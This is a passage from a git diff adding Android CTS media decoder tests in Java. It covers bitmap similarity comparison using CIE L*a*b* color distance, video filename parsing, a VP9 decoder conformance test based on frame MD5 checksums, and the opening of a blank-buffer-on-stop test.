+            final ByteBuffer byteBuffer = glSurfaceViewFactory.getByteBuffer();
+            bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+            byteBuffer.rewind();
+            bitmap.copyPixelsFromBuffer(byteBuffer);
+            bitmapIsReady = true;
+            byteBuffer.clear();
+        } catch (NullPointerException exception) {
+            Log.e(TAG, "glSurfaceViewFactory or byteBuffer may have been released", exception);
+            bitmap = null;
+        } finally {
+            notifyObject();
+        }
+    }
+
+    @Override
+    public Bitmap getBitmap() {
+        return bitmap;
+    }
+
+    @Override
+    public boolean isBitmapReady() {
+        return bitmapIsReady;
+    }
+
+    @Override
+    public Object getSyncObject() {
+        return SYNC_TOKEN;
+    }
+
+    private void notifyObject() {
+        synchronized (SYNC_TOKEN) {
+            SYNC_TOKEN.notify();
+        }
+    }
+
+    private void waitForByteBuffer() throws InterruptedException {
+        // Wait for byte buffer to be ready.
+        final long start = SystemClock.elapsedRealtime();
+        while (SystemClock.elapsedRealtime() - start < SNAPSHOT_TIMEOUT_MS) {
+            if (glSurfaceViewFactory.byteBufferIsReady()) {
+                return;
+            }
+            Thread.sleep(SLEEP_TIME_MS);
+        }
+        throw new InterruptedException("Taking too long to read pixels into a ByteBuffer.");
+    }
+
+}
+
+/* Stores information of a video file. */
+class VideoFormat {
+
+    public static final String STRING_UNSET = "UNSET";
+    public static final int INT_UNSET = -1;
+
+    private final String filename;
+
+    private String mimeType = STRING_UNSET;
+    private int width = INT_UNSET;
+    private int height = INT_UNSET;
+    private int maxWidth = INT_UNSET;
+    private int maxHeight = INT_UNSET;
+    private FilenameParser filenameParser;
+
+    public VideoFormat(String filename) {
+        this.filename = filename;
+    }
+
+    public VideoFormat(VideoFormat videoFormat) {
+        this(videoFormat.filename);
+    }
+
+    private FilenameParser getParsedName() {
+        if (filenameParser == null) {
+            filenameParser = new FilenameParser(filename);
+        }
+        return filenameParser;
+    }
+
+    public String getMediaFormat() {
+        return "video";
+    }
+
+    public void setMimeType(String mimeType) {
+        this.mimeType = mimeType;
+    }
+
+    public String getMimeType() {
+        if (mimeType.equals(STRING_UNSET)) {
+            return getParsedName().getMimeType();
+        }
+        return mimeType;
+    }
+
+    public void setWidth(int width) {
+        this.width = width;
+    }
+
+    public void setMaxWidth(int maxWidth) {
+        this.maxWidth = maxWidth;
+    }
+
+    public int getWidth() {
+        if (width == INT_UNSET) {
+            return getParsedName().getWidth();
+        }
+        return width;
+    }
+
+    public int getMaxWidth() {
+        return maxWidth;
+    }
+
+    public int getOriginalWidth() {
+        return getParsedName().getWidth();
+    }
+
+    public void setHeight(int height) {
+        this.height = height;
+    }
+
+    public void setMaxHeight(int maxHeight) {
+        this.maxHeight = maxHeight;
+    }
+
+    public int getHeight() {
+        if (height == INT_UNSET) {
+            return getParsedName().getHeight();
+        }
+        return height;
+    }
+
+    public int getMaxHeight() {
+        return maxHeight;
+    }
+
+    public int getOriginalHeight() {
+        return getParsedName().getHeight();
+    }
+
+    public boolean isAbrEnabled() {
+        return false;
+    }
+
+    public String getOriginalSize() {
+        if (width == INT_UNSET || height == INT_UNSET) {
+            return getParsedName().getSize();
+        }
+        return width + "x" + height;
+    }
+
+    public String getDescription() {
+        return getParsedName().getDescription();
+    }
+
+    public String toPrettyString() {
+        return getParsedName().toPrettyString();
+    }
+
+    public AssetFileDescriptor getAssetFileDescriptor() throws FileNotFoundException {
+        File inpFile = new File(WorkDir.getMediaDirString() + "assets/decode_accuracy/" + filename);
+        ParcelFileDescriptor parcelFD =
+                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
+        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+    }
+
+}
+
+/* File parser for filenames with format of {description}-{mimeType}_{size}_{framerate}.{format} */
+class FilenameParser {
+
+    static final String VP9 = "vp9";
+    static final String H264 = "h264";
+
+    private final String filename;
+
+    private String codec = VideoFormat.STRING_UNSET;
+    private String description = VideoFormat.STRING_UNSET;
+    private int width = VideoFormat.INT_UNSET;
+    private int height = VideoFormat.INT_UNSET;
+
+    FilenameParser(String filename) {
+        this.filename = filename;
+        parseFilename(filename);
+    }
+
+    public String getCodec() {
+        return codec;
+    }
+
+    public String getMimeType() {
+        switch (codec) {
+            case H264:
+                return MimeTypes.VIDEO_H264;
+            case VP9:
+                return MimeTypes.VIDEO_VP9;
+            default:
+                return null;
+        }
+    }
+
+    public int getWidth() {
+        return width;
+    }
+
+    public int getHeight() {
+        return height;
+    }
+
+    public String getSize() {
+        return width + "x" + height;
+    }
+
+    public String getDescription() {
+        return description;
+    }
+
+    String toPrettyString() {
+        if (codec != null) {
+            return codec.toUpperCase() + " " + getSize();
+        }
+        return filename;
+    }
+
+    private void parseFilename(String filename) {
+        final String descriptionDelimiter = "-";
+        final String infoDelimiter = "_";
+        final String sizeDelimiter = "x";
+        try {
+            this.description = filename.split(descriptionDelimiter)[0];
+            final String[] fileInfo = filename.split(descriptionDelimiter)[1].split(infoDelimiter);
+            this.codec = fileInfo[0];
+            this.width = Integer.parseInt(fileInfo[1].split(sizeDelimiter)[0]);
+            this.height = Integer.parseInt(fileInfo[1].split(sizeDelimiter)[1]);
+        } catch (Exception exception) { /* Filename format does not match. */ }
+    }
+
+}
+
+/**
+ * Compares bitmaps to determine if they are similar.
+ *
+ * <p>To determine greatest pixel difference we transform each pixel into the
+ * CIE L*a*b* color space. The euclidean distance formula is used to determine pixel differences.
+ */
+class BitmapCompare {
+
+    private static final int RED = 0;
+    private static final int GREEN = 1;
+    private static final int BLUE = 2;
+    private static final int X = 0;
+    private static final int Y = 1;
+    private static final int Z = 2;
+
+    private BitmapCompare() {}
+
+    /**
+     * Produces greatest pixel between two bitmaps. Used to determine bitmap similarity.
+     *
+     * @param bitmap1 A bitmap to compare to bitmap2.
+     * @param bitmap2 A bitmap to compare to bitmap1.
+     * @return A {@link Difference} with an integer describing the greatest pixel difference,
+     *     using {@link Integer#MAX_VALUE} for completely different bitmaps, and an optional
+     *     {@link Pair<Integer, Integer>} of the (col, row) pixel coordinate where it was first found.
+     */
+    @TargetApi(12)
+    public static Difference computeDifference(Bitmap bitmap1, Bitmap bitmap2) {
+        if (bitmap1 == null || bitmap2 == null) {
+            return new Difference(Integer.MAX_VALUE);
+        }
+        if (bitmap1.equals(bitmap2) || bitmap1.sameAs(bitmap2)) {
+            return new Difference(0);
+        }
+        if (bitmap1.getHeight() != bitmap2.getHeight() || bitmap1.getWidth() != bitmap2.getWidth()) {
+            return new Difference(Integer.MAX_VALUE);
+        }
+        // Convert all pixels to CIE L*a*b* color space so we can do a direct color comparison using
+        // euclidean distance formula.
+        final double[][] pixels1 = convertRgbToCieLab(bitmap1);
+        final double[][] pixels2 = convertRgbToCieLab(bitmap2);
+        int greatestDifference = 0;
+        int greatestDifferenceIndex = -1;
+        for (int i = 0; i < pixels1.length; i++) {
+            final int difference = euclideanDistance(pixels1[i], pixels2[i]);
+            if (difference > greatestDifference) {
+                greatestDifference = difference;
+                greatestDifferenceIndex = i;
+            }
+        }
+        return new Difference(greatestDifference, Pair.create(
+            greatestDifferenceIndex % bitmap1.getWidth(),
+            greatestDifferenceIndex / bitmap1.getWidth()));
+    }
+
+    @SuppressLint("UseSparseArrays")
+    private static double[][] convertRgbToCieLab(Bitmap bitmap) {
+        final HashMap<Integer, double[]> pixelTransformCache = new HashMap<>();
+        final double[][] result = new double[bitmap.getHeight() * bitmap.getWidth()][3];
+        final int[] pixels = new int[bitmap.getHeight() * bitmap.getWidth()];
+        bitmap.getPixels(pixels, 0, bitmap.getWidth(), 0, 0, bitmap.getWidth(), bitmap.getHeight());
+        for (int i = 0; i < pixels.length; i++) {
+            final double[] transformedColor = pixelTransformCache.get(pixels[i]);
+            if (transformedColor != null) {
+                result[i] = transformedColor;
+            } else {
+                result[i] = convertXyzToCieLab(convertRgbToXyz(pixels[i]));
+                pixelTransformCache.put(pixels[i], result[i]);
+            }
+        }
+        return result;
+    }
+
+    /**
+     * Conversion from RGB to XYZ based algorithm as defined by:
+     * http://www.easyrgb.com/index.php?X=MATH&H=02#text2
+     *
+     * <p><pre>{@code
+     *   var_R = ( R / 255 )        //R from 0 to 255
+     *   var_G = ( G / 255 )        //G from 0 to 255
+     *   var_B = ( B / 255 )        //B from 0 to 255
+     *
+     *   if ( var_R > 0.04045 ) var_R = ( ( var_R + 0.055 ) / 1.055 ) ^ 2.4
+     *   else                   var_R = var_R / 12.92
+     *   if ( var_G > 0.04045 ) var_G = ( ( var_G + 0.055 ) / 1.055 ) ^ 2.4
+     *   else                   var_G = var_G / 12.92
+     *   if ( var_B > 0.04045 ) var_B = ( ( var_B + 0.055 ) / 1.055 ) ^ 2.4
+     *   else                   var_B = var_B / 12.92
+     *
+     *   var_R = var_R * 100
+     *   var_G = var_G * 100
+     *   var_B = var_B * 100
+     *
+     *   // Observer. = 2°, Illuminant = D65
+     *   X = var_R * 0.4124 + var_G * 0.3576 + var_B * 0.1805
+     *   Y = var_R * 0.2126 + var_G * 0.7152 + var_B * 0.0722
+     *   Z = var_R * 0.0193 + var_G * 0.1192 + var_B * 0.9505
+     * }</pre>
+     *
+     * @param rgbColor A packed int made up of 4 bytes: alpha, red, green, blue.
+     * @return An array of doubles where each value is a component of the XYZ color space.
+     */
+    private static double[] convertRgbToXyz(int rgbColor) {
+        final double[] comp = {Color.red(rgbColor), Color.green(rgbColor), Color.blue(rgbColor)};
+        for (int i = 0; i < comp.length; i++) {
+            comp[i] /= 255.0;
+            if (comp[i] > 0.04045) {
+                comp[i] = Math.pow((comp[i] + 0.055) / 1.055, 2.4);
+            } else {
+                comp[i] /= 12.92;
+            }
+            comp[i] *= 100;
+        }
+        final double x = (comp[RED] * 0.4124) + (comp[GREEN] * 0.3576) + (comp[BLUE] * 0.1805);
+        final double y = (comp[RED] * 0.2126) + (comp[GREEN] * 0.7152) + (comp[BLUE] * 0.0722);
+        final double z = (comp[RED] * 0.0193) + (comp[GREEN] * 0.1192) + (comp[BLUE] * 0.9505);
+        return new double[] {x, y, z};
+    }
+
+    /**
+     * Conversion from XYZ to CIE-L*a*b* based algorithm as defined by:
+     * http://www.easyrgb.com/index.php?X=MATH&H=07#text7
+     *
+     * <p><pre>
+     * {@code
+     *   var_X = X / ref_X          //ref_X =  95.047   Observer= 2°, Illuminant= D65
+     *   var_Y = Y / ref_Y          //ref_Y = 100.000
+     *   var_Z = Z / ref_Z          //ref_Z = 108.883
+     *
+     *   if ( var_X > 0.008856 ) var_X = var_X ^ ( 1/3 )
+     *   else                    var_X = ( 7.787 * var_X ) + ( 16 / 116 )
+     *   if ( var_Y > 0.008856 ) var_Y = var_Y ^ ( 1/3 )
+     *   else                    var_Y = ( 7.787 * var_Y ) + ( 16 / 116 )
+     *   if ( var_Z > 0.008856 ) var_Z = var_Z ^ ( 1/3 )
+     *   else                    var_Z = ( 7.787 * var_Z ) + ( 16 / 116 )
+     *
+     *   CIE-L* = ( 116 * var_Y ) - 16
+     *   CIE-a* = 500 * ( var_X - var_Y )
+     *   CIE-b* = 200 * ( var_Y - var_Z )
+     * }
+     * </pre>
+     *
+     * @param comp An array of doubles where each value is a component of the XYZ color space.
+     * @return An array of doubles where each value is a component of the CIE-L*a*b* color space.
+     */
+    private static double[] convertXyzToCieLab(double[] comp) {
+        comp[X] /= 95.047;
+        comp[Y] /= 100.0;
+        comp[Z] /= 108.883;
+        for (int i = 0; i < comp.length; i++) {
+            if (comp[i] > 0.008856) {
+                comp[i] = Math.pow(comp[i], (1.0 / 3.0));
+            } else {
+                comp[i] = (7.787 * comp[i]) + (16.0 / 116.0);
+            }
+        }
+        final double l = (116 * comp[Y]) - 16;
+        final double a = 500 * (comp[X] - comp[Y]);
+        final double b = 200 * (comp[Y] - comp[Z]);
+        return new double[] {l, a, b};
+    }
+
+    private static int euclideanDistance(double[] p1, double[] p2) {
+        if (p1.length != p2.length) {
+            return Integer.MAX_VALUE;
+        }
+        double result = 0;
+        for (int i = 0; i < p1.length; i++) {
+            result += Math.pow(p1[i] - p2[i], 2);
+        }
+        return (int) Math.round(Math.sqrt(result));
+    }
+
+    /**
+     * Crops the border of the array representing an image by hBorderSize
+     * pixels on the left and right borders, and by vBorderSize pixels on the
+     * top and bottom borders (so the width is 2 * hBorderSize smaller and
+     * the height is 2 * vBorderSize smaller), then scales the image up to
+     * match the original size using bilinear interpolation.
+     */
+    private static Bitmap shrinkAndScaleBilinear(
+            Bitmap input, double hBorderSize, double vBorderSize) {
+
+        int width = input.getWidth();
+        int height = input.getHeight();
+
+        // Compute the proper step sizes
+        double xInc = ((double) width - 1 - hBorderSize * 2) / (double) (width - 1);
+        double yInc = ((double) height - 1 - vBorderSize * 2) / (double) (height - 1);
+
+        // Read the input bitmap into RGB arrays.
+        int[] inputPixels = new int[width * height];
+        input.getPixels(inputPixels, 0, width, 0, 0, width, height);
+        int[][] inputRgb = new int[width * height][3];
+        for (int i = 0; i < width * height; ++i) {
+            inputRgb[i][0] = Color.red(inputPixels[i]);
+            inputRgb[i][1] = Color.green(inputPixels[i]);
+            inputRgb[i][2] = Color.blue(inputPixels[i]);
+        }
+        inputPixels = null;
+
+        // Prepare the output buffer.
+        int[] outputPixels = new int[width * height];
+
+        // Start the iteration. The first y coordinate is vBorderSize.
+        double y = vBorderSize;
+        for (int yIndex = 0; yIndex < height; ++yIndex) {
+            // The first x coordinate is hBorderSize.
+            double x = hBorderSize;
+            for (int xIndex = 0; xIndex < width; ++xIndex) {
+                // Determine the square of interest.
+                int left = (int)x;    // This is floor(x).
+                int top = (int)y;     // This is floor(y).
+                int right = left + 1;
+                int bottom = top + 1;
+
+                // (u, v) is the fractional part of (x, y).
+                double u = x - (double)left;
+                double v = y - (double)top;
+
+                // Precompute necessary products to save time.
+                double p00 = (1.0 - u) * (1.0 - v);
+                double p01 = (1.0 - u) * v;
+                double p10 = u * (1.0 - v);
+                double p11 = u * v;
+
+                // Clamp the indices to prevent out-of-bound that may be caused
+                // by round-off error.
+                if (left >= width) left = width - 1;
+                if (top >= height) top = height - 1;
+                if (right >= width) right = width - 1;
+                if (bottom >= height) bottom = height - 1;
+
+                // Sample RGB values from the four corners.
+                int[] rgb00 = inputRgb[top * width + left];
+                int[] rgb01 = inputRgb[bottom * width + left];
+                int[] rgb10 = inputRgb[top * width + right];
+                int[] rgb11 = inputRgb[bottom * width + right];
+
+                // Interpolate each component of RGB separately.
+                int[] mixedColor = new int[3];
+                for (int k = 0; k < 3; ++k) {
+                    mixedColor[k] = (int)Math.round(
+                            p00 * (double) rgb00[k] + p01 * (double) rgb01[k]
+                            + p10 * (double) rgb10[k] + p11 * (double) rgb11[k]);
+                }
+                // Convert RGB to bitmap Color format and store.
+                outputPixels[yIndex * width + xIndex] = Color.rgb(
+                        mixedColor[0], mixedColor[1], mixedColor[2]);
+                x += xInc;
+            }
+            y += yInc;
+        }
+        // Assemble the output buffer into a Bitmap object.
+        return Bitmap.createBitmap(outputPixels, width, height, input.getConfig());
+    }
+
+    /**
+     * Calls computeDifference on multiple cropped-and-scaled versions of
+     * bitmap2.
+     */
+    @TargetApi(12)
+    public static Difference computeMinimumDifference(
+            Bitmap bitmap1, Bitmap bitmap2, Pair<Double, Double>[] borderCrops) {
+
+        // Compute the difference with the original image (bitmap2) first.
+        Difference minDiff = computeDifference(bitmap1, bitmap2);
+        // Then go through the list of borderCrops.
+        for (Pair<Double, Double> borderCrop : borderCrops) {
+            // Compute the difference between bitmap1 and a transformed
+            // version of bitmap2.
+            Bitmap bitmap2s = shrinkAndScaleBilinear(bitmap2, borderCrop.first, borderCrop.second);
+            Difference d = computeDifference(bitmap1, bitmap2s);
+            // Keep the minimum difference.
+            if (d.greatestPixelDifference < minDiff.greatestPixelDifference) {
+                minDiff = d;
+                minDiff.bestMatchBorderCrop = borderCrop;
+            }
+        }
+        return minDiff;
+    }
+
+    /**
+     * Calls computeMinimumDifference on a default list of borderCrop.
+     */
+    @TargetApi(12)
+    public static Difference computeMinimumDifference(
+            Bitmap bitmap1, Bitmap bitmap2, int trueWidth, int trueHeight) {
+
+        double hBorder = (double) bitmap1.getWidth() / (double) trueWidth;
+        double vBorder = (double) bitmap1.getHeight() / (double) trueHeight;
+        double hBorderH = 0.5 * hBorder; // Half-texel horizontal border
+        double vBorderH = 0.5 * vBorder; // Half-texel vertical border
+        return computeMinimumDifference(
+                bitmap1,
+                bitmap2,
+                new Pair[] {
+                    Pair.create(hBorderH, 0.0),
+                    Pair.create(hBorderH, vBorderH),
+                    Pair.create(0.0, vBorderH),
+                    Pair.create(hBorder, 0.0),
+                    Pair.create(hBorder, vBorder),
+                    Pair.create(0.0, vBorder)
+                });
+        // This default list of borderCrop comes from the behavior of
+        // GLConsumer.computeTransformMatrix().
+    }
+
+    /* Describes the difference between two {@link Bitmap} instances. */
+    public static final class Difference {
+
+        public final int greatestPixelDifference;
+        public final Pair<Integer, Integer> greatestPixelDifferenceCoordinates;
+        public Pair<Double, Double> bestMatchBorderCrop;
+
+        private Difference(int greatestPixelDifference) {
+            this(greatestPixelDifference, null, Pair.create(0.0, 0.0));
+        }
+
+        private Difference(
+                int greatestPixelDifference,
+                Pair<Integer, Integer> greatestPixelDifferenceCoordinates) {
+            this(greatestPixelDifference, greatestPixelDifferenceCoordinates,
+                    Pair.create(0.0, 0.0));
+        }
+
+        private Difference(
+                int greatestPixelDifference,
+                Pair<Integer, Integer> greatestPixelDifferenceCoordinates,
+                Pair<Double, Double> bestMatchBorderCrop) {
+            this.greatestPixelDifference = greatestPixelDifference;
+            this.greatestPixelDifferenceCoordinates = greatestPixelDifferenceCoordinates;
+            this.bestMatchBorderCrop = bestMatchBorderCrop;
+        }
+    }
+
+}
+
+/* Wrapper for MIME types. */
+final class MimeTypes {
+
+    private MimeTypes() {}
+
+    public static final String VIDEO_VP9 = "video/x-vnd.on2.vp9";
+    public static final String VIDEO_H264 = "video/avc";
+
+    public static boolean isVideo(String mimeType) {
+        return mimeType.startsWith("video");
+    }
+
+}
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderConformanceTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderConformanceTest.java
new file mode 100644
index 0000000..df4b0d8
--- /dev/null
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderConformanceTest.java
@@ -0,0 +1,248 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.decoder.cts;
+
+import android.content.res.AssetFileDescriptor;
+import android.media.decoder.cts.R;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.cts.MediaTestBase;
+import android.media.cts.Preconditions;
+import android.media.cts.TestArgs;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.MediaUtils;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+/**
+ * Conformance test for decoders on the device.
+ *
+ * This test will decode test vectors and calculate every decoded frame's md5
+ * checksum to see if it matches with the correct md5 value read from a
+ * reference file associated with the test vector. Test vector md5 sums are
+ * based on the YUV 420 plannar format.
+ */
+@AppModeFull(reason = "There should be no instant apps specific behavior related to conformance")
+@RunWith(Parameterized.class)
+public class DecoderConformanceTest extends MediaTestBase {
+    private enum Status {
+        FAIL,
+        PASS,
+        SKIP;
+    }
+
+    private static final String REPORT_LOG_NAME = "CtsMediaDecoderTestCases";
+    private static final String TAG = "DecoderConformanceTest";
+    private static final String CONFORMANCE_SUBDIR = "conformance_vectors/";
+    private static final String mInpPrefix = WorkDir.getMediaDirString() + CONFORMANCE_SUBDIR;
+    private static final Map<String, String> MIMETYPE_TO_TAG = new HashMap<String, String>() {{
+        put(MediaFormat.MIMETYPE_VIDEO_VP9, "vp9");
+    }};
+
+    private final String mDecoderName;
+    private final String mMediaType;
+    private final String mTestVector;
+
+    private MediaCodec mDecoder;
+    private MediaExtractor mExtractor;
+
+    private DeviceReportLog mReportLog;
+
+    @Parameterized.Parameters(name = "{index}({0})")
+    public static Collection<Object[]> input() throws Exception {
+        final String[] mediaTypeList = new String[] {MediaFormat.MIMETYPE_VIDEO_VP9};
+        final List<Object[]> argsList = new ArrayList<>();
+        for (String mediaType : mediaTypeList) {
+            if (TestArgs.shouldSkipMediaType(mediaType)) {
+                continue;
+            }
+            String[] componentNames = MediaUtils.getDecoderNamesForMime(mediaType);
+            List<String> testVectors = readCodecTestVectors(mediaType);
+            for (String testVector : testVectors) {
+                for (String name : componentNames) {
+                    if (TestArgs.shouldSkipCodec(name)) {
+                        continue;
+                    }
+                    argsList.add(new Object[] {name, mediaType, testVector});
+                }
+            }
+        }
+        return argsList;
+    }
+
+    public DecoderConformanceTest(String decodername, String mediaType, String testvector) {
+        mDecoderName = decodername;
+        mMediaType = mediaType;
+        mTestVector = testvector;
+    }
+
+    @Before
+    @Override
+    public void setUp() throws Throwable {
+        super.setUp();
+    }
+
+    @After
+    @Override
+    public void tearDown() {
+        super.tearDown();
+    }
+
+    private static List<String> readResourceLines(String fileName) throws Exception {
+        InputStream is = new FileInputStream(mInpPrefix + fileName);
+        BufferedReader in = new BufferedReader(new InputStreamReader(is, "UTF-8"));
+
+        // Read the file line by line.
+        List<String> lines = new ArrayList<String>();
+        String str;
+        while ((str = in.readLine()) != null) {
+            int k = str.indexOf(' ');
+            String line = k >= 0 ? str.substring(0, k) : str;
+            lines.add(line);
+        }
+
+        is.close();
+        return lines;
+    }
+
+    private static List<String> readCodecTestVectors(String mime) throws Exception {
+        String tag = MIMETYPE_TO_TAG.get(mime);
+        String testVectorFileName = tag + "_test_vectors";
+        return readResourceLines(testVectorFileName);
+    }
+
+    private List<String> readVectorMD5Sums(String mime, String vectorName) throws Exception {
+        String tag = MIMETYPE_TO_TAG.get(mime);
+        String md5FileName = vectorName + "_" + tag + "_md5";
+        return readResourceLines(md5FileName);
+    }
+
+    private void release() {
+        try {
+            mDecoder.stop();
+        } catch (Exception e) {
+            Log.e(TAG, "Mediacodec stop exception");
+        }
+
+        try {
+            mDecoder.release();
+            mExtractor.release();
+        } catch (Exception e) {
+            Log.e(TAG, "Mediacodec release exception");
+        }
+
+        mDecoder = null;
+        mExtractor = null;
+    }
+
+    protected static AssetFileDescriptor getAssetFileDescriptorFor(final String res, String mime)
+            throws FileNotFoundException {
+        String tag = MIMETYPE_TO_TAG.get(mime);
+        Preconditions.assertTestFileExists(mInpPrefix + res + "." + tag);
+        File inpFile = new File(mInpPrefix + res + "." + tag);
+        ParcelFileDescriptor parcelFD =
+                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
+        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+    }
+
+    private Status decodeTestVector(String mime, String decoderName, String vectorName)
+            throws Exception {
+        AssetFileDescriptor testFd = getAssetFileDescriptorFor(vectorName, mime);
+        mExtractor = new MediaExtractor();
+        mExtractor.setDataSource(testFd.getFileDescriptor(), testFd.getStartOffset(),
+                testFd.getLength());
+        mExtractor.selectTrack(0);
+
+        mDecoder = MediaCodec.createByCodecName(decoderName);
+        MediaCodecInfo codecInfo = mDecoder.getCodecInfo();
+        MediaCodecInfo.CodecCapabilities caps = codecInfo.getCapabilitiesForType(mime);
+        if (!caps.isFormatSupported(mExtractor.getTrackFormat(0))) {
+            return Status.SKIP;
+        }
+
+        List<String> frameMD5Sums;
+        try {
+            frameMD5Sums = readVectorMD5Sums(mime, vectorName);
+        } catch(Exception e) {
+            Log.e(TAG, "Fail to read " + vectorName + "md5sum file");
+            return Status.FAIL;
+        }
+
+        try {
+            if (MediaUtils.verifyDecoder(mDecoder, mExtractor, frameMD5Sums)) {
+                return Status.PASS;
+            }
+            Log.d(TAG, vectorName + " decoded frames do not match");
+            return Status.FAIL;
+        } finally {
+            release();
+        }
+    }
+
+    @Test
+    public void testDecoderConformance() {
+        Log.d(TAG, "Decode vector " + mTestVector + " with " + mDecoderName);
+        Status stat = Status.PASS;
+        try {
+            stat = decodeTestVector(mMediaType, mDecoderName, mTestVector);
+        } catch (Exception e) {
+            Log.e(TAG, "Decode " + mTestVector + " fail");
+            fail("Received exception " + e);
+        } finally {
+            release();
+        }
+        String streamName = "decoder_conformance_test";
+        mReportLog = new DeviceReportLog(REPORT_LOG_NAME, streamName);
+        mReportLog.addValue("mime", mMediaType, ResultType.NEUTRAL, ResultUnit.NONE);
+        mReportLog.addValue("pass", stat != Status.FAIL, ResultType.NEUTRAL, ResultUnit.NONE);
+        mReportLog.addValue("vector_name", mTestVector, ResultType.NEUTRAL, ResultUnit.NONE);
+        mReportLog.addValue("decode_name", mDecoderName, ResultType.NEUTRAL, ResultUnit.NONE);
+        mReportLog.submit(InstrumentationRegistry.getInstrumentation());
+        assumeTrue(mDecoderName + " failed for " + mTestVector, stat != Status.FAIL);
+        assumeTrue(mDecoderName + " skipped for " + mTestVector, stat != Status.SKIP);
+    }
+}
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderPushBlankBuffersOnStopTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderPushBlankBuffersOnStopTest.java
new file mode 100644
index 0000000..394a779
--- /dev/null
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderPushBlankBuffersOnStopTest.java
@@ -0,0 +1,256 @@
+package android.media.decoder.cts;
+
+import android.content.Intent;
+import android.content.res.AssetFileDescriptor;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.media.cts.MediaHeavyPresubmitTest;
+import android.media.cts.MediaStubActivity;
+import android.media.cts.Preconditions;
+import android.media.MediaCodec;
+import android.media.MediaCodecList;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.os.Build;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+import android.view.Surface;
+
+import androidx.test.core.app.ActivityScenario;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.filters.SdkSuppress;
+import androidx.test.runner.screenshot.ScreenCapture;
+import androidx.test.runner.screenshot.Screenshot;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+import org.junit.Test;
+import org.junit.Assert;
+import org.junit.Assume;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.nio.ByteBuffer;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Class that contains tests for the "Push blank buffers on stop" decoder feature.
+ * <br>
+ * In order to detect that a blank buffer has been pushed to the {@code Surface}that the codec works
+ * on, we take a fullscreen screenshot before and after the call to {@code MediaCodec#stop}. This
+ * workaround appears necessary at the time of writing because the usual APIs to extract the content
+ * of a native {@code Surface} (such as {@code PixelCopy} or {@code ImageReader}) appear to fail for
+ * this frame specifically.
+ * <br>
+ * This test class is inspired from the {@link DecoderTest} test class, but with specific setup code
+ * to ensure the activity is launched in immersive mode and its title is removed.
+ */
+@MediaHeavyPresubmitTest
+public class DecoderPushBlankBuffersOnStopTest {
+    private static final String TAG = "DecoderPushBlankBufferOnStopTest";
+    private static final String mInpPrefix = WorkDir.getMediaDirString();
+
+    /**
+     * Retrieve a file descriptor to a test resource from its file name.
+     * @param res  Name from a resource in the media assets
+     */
+    private static AssetFileDescriptor getAssetFileDescriptorFor(final String res)
+            throws FileNotFoundException {
+        final String mediaDirPath = WorkDir.getMediaDirString();
+        File mediaFile = new File(mediaDirPath + res);
+        Preconditions.assertTestFileExists(mediaDirPath + res);
+        ParcelFileDescriptor parcelFD =
+                ParcelFileDescriptor.open(mediaFile, ParcelFileDescriptor.MODE_READ_ONLY);
+        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+    }
+
+    private static boolean isUniformlyBlank(Bitmap bitmap) {
+        final var color = new Color(); // Defaults to opaque black in sRGB
+        final int width = bitmap.getWidth();
+        final int height = bitmap.getHeight();
+        // Check a subset of pixels against the first pixel of the image.
+        // This is not strictly sufficient, but probably good enough and much more efficient.
+        for (int y = 0; y < height; y+=4) {
+            for (int x = 0; x < width; x+=4) {
+                if (color.toArgb() != bitmap.getColor(x, y).toArgb()) {
+                    return false;
+                }
+            }
+        }
+        return true;
+    }
+
+    private void testPushBlankBuffersOnStop(String testVideo) throws Exception {
+        // Configure the test activity to hide its title
+        final var noTitle = new Intent(ApplicationProvider.getApplicationContext(),
+                MediaStubActivity.class);
+        noTitle.putExtra(MediaStubActivity.INTENT_EXTRA_NO_TITLE, true);
